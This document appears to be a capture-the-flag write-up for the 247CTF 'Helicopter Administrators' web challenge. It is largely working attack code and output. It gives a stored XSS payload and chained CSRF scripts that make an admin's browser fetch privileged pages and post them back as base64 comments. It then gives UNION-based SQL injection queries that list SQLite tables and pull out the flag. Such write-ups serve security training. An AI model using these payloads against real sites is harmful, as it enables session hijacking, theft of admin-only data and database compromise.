247CTF solution: Helicopter Administrators

XSS

In this challenge, we have a comment function, so i think it might be vulnerable to XSS.

There is a note when reporting, after researching from this note, I found the XSS payload that works:

<style onload=alert("niek")></style>

CSRF

We cannot access the admin’s page, so I think about a CSRF vulnerability where the admin will access the page and comment the page source so that we can see it.

We will comment on the user number 3 (or 2) and make the admin comment on the 1.

<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/user/0',true);
req.send();
function handleResponse() {
    var res = btoa(this.responseText);
    var commentReq = new XMLHttpRequest();
    commentReq.open('post', '/comment/1', true);
    commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    commentReq.send('comment='+res)
};"></style>

After comment, we report this user so that the admin will view this page and trigger the XSS and CSRF.

Then go to the user number 1 and we have the content of admin’s page in base64. Decode it (change all spaces into +), we can see there is a search function.

<div class="mt-25">
  <form class="navbar-form" method="POST" action="/secret_admin_search" comment="#search-response">
    <div id="search-response" class="description"></div>
    <div class="input-group">    
      <input type="text" class="form-control description" id="search" name="search">
      <span class="input-group-btn">
        <input type="submit" class="btn btn-default search" value="User ID Search">
      </span> 
    </div>
  </form>
</div>

Then, I think about testing CSRF with the search function, the admin will search and comment the result in user 1’s page for us.

I use payload:

<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('post','/secret_admin_search',true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('search=a');
function handleResponse() {
    var res = btoa(this.responseText);
    var commentReq = new XMLHttpRequest();
    commentReq.open('post', '/comment/1', true);
    commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    commentReq.send('comment='+res)
};"></style>

Again, we received a base64 string, change all spaces to + and decode it:

{"message":"SQLite error: no such column: a","result":"error"}

So the web is using SQLite and it is vulnerable to SQL injection.

SQL injection

If we use the payload:

search=1

We can see the information of an user.

{"message":[[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

We can list all table in the database with:

search=1+UNION+SELECT+1,name,1,1,1,null+FROM+sqlite_master+WHERE+type=\'table\'--

There is a table named flag.

{"message":[[1,"Michael Owens",14,22,3,"Sydney, Australia"],[1,"comment",1,1,1,null],[1,"flag",1,1,1,null],[1,"user",1,1,1,null]],"result":"success"}

Next, we find the column’s name of that table.

search=1+UNION+SELECT+1,sql,1,1,1,null+FROM+sqlite_master+WHERE+tbl_name=\'flag\'+AND+type=\'table\'--

{"message":[[1,"CREATE TABLE flag (flag text)",1,1,1,null],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}

Now, we have column ‘flag‘ in table ‘flag‘. Let’s get it.

<style onload="var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('post','/secret_admin_search',true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send('search=1+UNION+SELECT+1,flag,1,1,1,null+FROM+\'flag\'--');
function handleResponse() {
    var res = btoa(this.responseText);
    var commentReq = new XMLHttpRequest();
    commentReq.open('post', '/comment/1', true);
    commentReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    commentReq.send('comment='+res)
};"></style>

And we found the flag.

{"message":[[1,"247CTF{XXXXX}",1,1,1,null],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}